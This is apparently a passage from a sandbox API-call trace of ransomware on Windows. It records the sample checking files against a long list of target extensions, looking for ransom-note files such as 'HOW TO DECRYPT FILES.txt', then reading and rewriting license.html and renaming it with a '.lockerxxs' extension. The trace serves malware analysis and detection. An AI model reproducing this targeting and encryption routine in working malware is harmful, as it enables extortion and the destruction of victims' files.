[0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.zip") returned 0 [0069.629] lstrlenA (lpString="*.zip") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.html") returned 0 [0069.629] lstrlenA (lpString="*.html") returned 6 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.htm") returned 0 [0069.629] lstrlenA (lpString="*.htm") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.629] lstrlenA (lpString="*.xlsx") returned 6 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.xls") returned 0 [0069.629] lstrlenA (lpString="*.xls") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mp4") returned 0 [0069.629] lstrlenA (lpString="*.mp4") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.ppt") returned 0 [0069.629] lstrlenA (lpString="*.ppt") returned 5 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.pptx") returned 0 [0069.629] lstrlenA (lpString="*.pptx") returned 6 [0069.629] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.doc") returned 0 [0069.629] lstrlenA (lpString="*.doc") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.dot") returned 0 [0069.630] lstrlenA (lpString="*.dot") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.docx") returned 0 [0069.630] lstrlenA (lpString="*.docx") returned 6 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.7z") returned 0 [0069.630] lstrlenA (lpString="*.7z") returned 4 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.tar") returned 0 [0069.630] lstrlenA (lpString="*.tar") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.bz2") returned 0 [0069.630] lstrlenA (lpString="*.bz2") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.gz") returned 0 [0069.630] lstrlenA (lpString="*.gz") returned 4 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mkv") returned 0 [0069.630] lstrlenA (lpString="*.mkv") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.eml") returned 0 [0069.630] lstrlenA (lpString="*.eml") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.msg") returned 0 [0069.630] lstrlenA (lpString="*.msg") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.edb") returned 0 [0069.630] lstrlenA (lpString="*.edb") returned 5 [0069.630] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.accdb") returned 0 [0069.631] lstrlenA (lpString="*.accdb") returned 7 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.odb") returned 0 [0069.631] lstrlenA (lpString="*.odb") returned 5 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.java") returned 0 [0069.631] lstrlenA (lpString="*.java") returned 6 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.asm") returned 0 [0069.631] lstrlenA (lpString="*.asm") returned 5 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.pfx") returned 0 [0069.631] lstrlenA (lpString="*.pfx") returned 5 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.pem") returned 0 [0069.631] lstrlenA (lpString="*.pem") returned 5 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.p12") returned 0 [0069.631] lstrlenA (lpString="*.p12") returned 5 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.gpg") returned 0 [0069.631] lstrlenA (lpString="*.gpg") returned 5 [0069.631] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.vsd") returned 0 [0069.631] lstrlenA (lpString="*.vsd") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.odg") returned 0 [0069.632] lstrlenA (lpString="*.odg") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.raw") returned 0 [0069.632] lstrlenA (lpString="*.raw") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.nef") returned 0 [0069.632] lstrlenA (lpString="*.nef") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.svg") returned 0 [0069.632] lstrlenA (lpString="*.svg") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.psd") returned 0 [0069.632] lstrlenA (lpString="*.psd") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.vmx") returned 0 [0069.632] lstrlenA (lpString="*.vmx") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.632] lstrlenA (lpString="*.vmdk") returned 6 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.vdi") returned 0 [0069.632] lstrlenA (lpString="*.vdi") returned 5 [0069.632] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.lay6") returned 0 [0069.632] lstrlenA (lpString="*.lay6") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.633] lstrlenA (lpString="*.mpeg") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.djvu") returned 0 [0069.633] lstrlenA (lpString="*.djvu") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.tiff") returned 0 [0069.633] lstrlenA (lpString="*.tiff") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.backup") returned 0 [0069.633] lstrlenA (lpString="*.backup") returned 8 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.pdf") returned 0 [0069.633] lstrlenA (lpString="*.pdf") returned 5 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.cert") returned 0 [0069.633] lstrlenA (lpString="*.cert") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.docm") returned 0 [0069.633] lstrlenA (lpString="*.docm") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.633] lstrlenA (lpString="*.xlsm") returned 6 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.dwg") returned 0 [0069.633] lstrlenA (lpString="*.dwg") returned 5 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.nd") returned 0 [0069.633] lstrlenA (lpString="*.nd") returned 4 [0069.633] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.tlg") returned 0 [0069.634] lstrlenA (lpString="*.tlg") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.lgb") returned 0 [0069.634] lstrlenA (lpString="*.lgb") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mov") returned 0 [0069.634] lstrlenA (lpString="*.mov") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.xdw") returned 0 [0069.634] lstrlenA (lpString="*.xdw") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.ods") returned 0 [0069.634] lstrlenA (lpString="*.ods") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.wav") returned 0 [0069.634] lstrlenA (lpString="*.wav") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.mp3") returned 0 [0069.634] lstrlenA (lpString="*.mp3") returned 5 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.aiff") returned 0 [0069.634] lstrlenA (lpString="*.aiff") returned 6 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.flac") returned 0 [0069.634] lstrlenA (lpString="*.flac") returned 6 [0069.634] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.m4a") returned 0 [0069.635] lstrlenA (lpString="*.m4a") returned 5 [0069.635] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini", pszSpec="*.csv") returned 0 [0069.635] lstrlenA (lpString="*.csv") returned 5 [0069.635] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.635] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.635] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.635] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.635] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.635] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini") returned="eula.ini" [0069.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" [0069.635] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\") returned="" [0069.635] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt" [0069.635] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\how to decrypt files.txt")) returned 0x20 [0069.636] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.ems") returned 0 [0069.636] lstrlenA (lpString="*.ems") returned 5 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.db") returned 0 [0069.636] lstrlenA (lpString="*.db") returned 4 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.dbf") returned 0 [0069.636] lstrlenA (lpString="*.dbf") returned 5 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.myox") returned 0 [0069.636] lstrlenA (lpString="*.myox") returned 6 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.myo") returned 0 [0069.636] lstrlenA (lpString="*.myo") returned 5 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qbw") returned 0 [0069.636] lstrlenA (lpString="*.qbw") returned 5 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qbb") returned 0 [0069.636] lstrlenA (lpString="*.qbb") returned 5 [0069.636] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qbm") returned 0 [0069.636] lstrlenA (lpString="*.qbm") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qbo") returned 0 [0069.637] lstrlenA (lpString="*.qbo") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qbx") returned 0 [0069.637] lstrlenA (lpString="*.qbx") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qba") returned 0 [0069.637] lstrlenA (lpString="*.qba") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qby") returned 0 [0069.637] lstrlenA (lpString="*.qby") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qbj") returned 0 [0069.637] lstrlenA (lpString="*.qbj") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.ofx") returned 0 [0069.637] lstrlenA (lpString="*.ofx") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.qif") returned 0 [0069.637] lstrlenA (lpString="*.qif") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.mye") returned 0 [0069.637] lstrlenA (lpString="*.mye") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.mbox") returned 0 [0069.637] lstrlenA (lpString="*.mbox") returned 6 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.eml") returned 0 [0069.637] lstrlenA (lpString="*.eml") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.pst") returned 0 [0069.637] lstrlenA (lpString="*.pst") returned 5 [0069.637] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.ost") returned 0 [0069.637] lstrlenA (lpString="*.ost") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.idx") returned 0 [0069.638] lstrlenA (lpString="*.idx") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.dbx") returned 0 [0069.638] lstrlenA (lpString="*.dbx") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.sql") returned 0 [0069.638] lstrlenA (lpString="*.sql") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.mdb") returned 0 [0069.638] lstrlenA (lpString="*.mdb") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.fdb") returned 0 [0069.638] lstrlenA (lpString="*.fdb") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.wab") returned 0 [0069.638] lstrlenA (lpString="*.wab") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.dat") returned 0 [0069.638] lstrlenA (lpString="*.dat") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.txt") returned 0 [0069.638] lstrlenA (lpString="*.txt") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.jpeg") returned 0 [0069.638] lstrlenA (lpString="*.jpeg") returned 6 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.jpg") returned 0 [0069.638] lstrlenA (lpString="*.jpg") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.png") returned 0 [0069.638] lstrlenA (lpString="*.png") returned 5 [0069.638] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.php") returned 0 [0069.638] lstrlenA (lpString="*.php") returned 5 [0069.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.cs") returned 0 [0069.639] lstrlenA (lpString="*.cs") returned 4 [0069.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.cpp") returned 0 [0069.639] lstrlenA (lpString="*.cpp") returned 5 [0069.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.rar") returned 0 [0069.639] lstrlenA (lpString="*.rar") returned 5 [0069.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.zip") returned 0 [0069.639] lstrlenA (lpString="*.zip") returned 5 [0069.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", pszSpec="*.html") returned 1 [0069.639] lstrlenA (lpString="*.html") returned 6 [0069.639] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" [0069.639] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" [0069.639] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html." [0069.639] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.lockerxxs" [0069.639] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.640] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc750 [0069.640] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81df42a0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4)) returned 1 [0069.640] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.640] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc72a, lpOverlapped=0x0) returned 1 [0069.643] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html") returned="license.html" [0069.644] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.644] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc72a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc72a, lpOverlapped=0x0) returned 1 [0069.646] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.646] CloseHandle (hObject=0x94) returned 1 [0069.647] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html.lockerxxs")) returned 1 [0069.648] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.648] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.649] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, 